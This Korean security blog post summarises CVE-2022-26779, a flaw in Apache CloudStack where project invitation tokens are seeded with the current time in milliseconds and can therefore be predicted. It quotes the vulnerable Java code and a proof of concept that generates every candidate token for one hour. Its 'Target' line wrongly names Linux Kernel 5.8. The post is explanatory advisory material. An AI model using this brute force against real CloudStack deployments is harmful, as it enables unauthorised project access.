[하루한줄] CVE-2022-26779: Apache Cloudstack 난수 예측을 통한 권한 상승 취약점
URL
https://github.com/JLLeitschuh/security-research/security/advisories/GHSA-vpcc-9rh2-8jfp
Target
- Linux Kernel 5.8
Explain
Apache의 Cloudstack은 클라우드 서비스를 생성, 관리, 배포하기 위한 오픈소스 클라우드 컴퓨팅 소프트웨어입니다. Cloudstack은 이메일을 통해 프로젝트에 유저를 초대할 수 있는데, 이때 ProjectManagerImpl.inviteAccountToProject
혹은 ProjectManagerImpl.inviteUserToProject
가 호출되며 임의의 토큰이 함께 전송됩니다.
그러나 이 토큰을 생성하는 PRNG(Pseudo Random Number Generator, 의사 난수) 생성기의 시드 랜덤성의 부족으로 토큰 값을 예측할 수 있는 취약점이 발견되었습니다.
초대 토큰을 생성하는 과정은 아래와 같습니다.
private boolean inviteUserToProject(...){
if (email == null){
...
}
else{
//generate the token
String token = generateToken(10);
...
}
}
public static String generateToken(int length) {
String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random rand = new Random(System.currentTimeMillis());
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
int pos = rand.nextInt(charset.length());
sb.append(charset.charAt(pos));
}
return sb.toString();
}
inviteUserToProject
에서 email
이 null이 아닐 경우 generateToken
함수를 호출하는데, 이때 전달되는 length
값은 10으로 고정됩니다. generateToken
함수는 System.currentTimeMillis
를 난수 생성 시드로 사용하기 때문에 해커가 토큰 값을 예상할 수 있습니다.
아래 PoC로 해커는 일정 시간동안 가능한 모든 토큰을 생성할 수 있고, 초대되지 않은 임의의 프로젝트에 참여해 권한 상승이 가능합니다.
public static String generateToken(long time, int length) {
String charset = "0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ";
Random rand = new Random(time);
StringBuffer sb = new StringBuffer();
for (int i = 0; i < length; i++) {
int pos = rand.nextInt(charset.length());
sb.append(charset.charAt(pos));
}
return sb.toString();
}
public static void main(String[] args) {
long startTime = System.currentTimeMillis();
LongStream
.rangeClosed(startTime + 0, startTime + (long) (3_600_000))
.parallel()
.mapToObj(time -> generateToken(time, 10))
.forEach(System.out::println);
}
본 글은 CC BY-SA 4.0 라이선스로 배포됩니다. 공유 또는 변경 시 반드시 출처를 남겨주시기 바랍니다.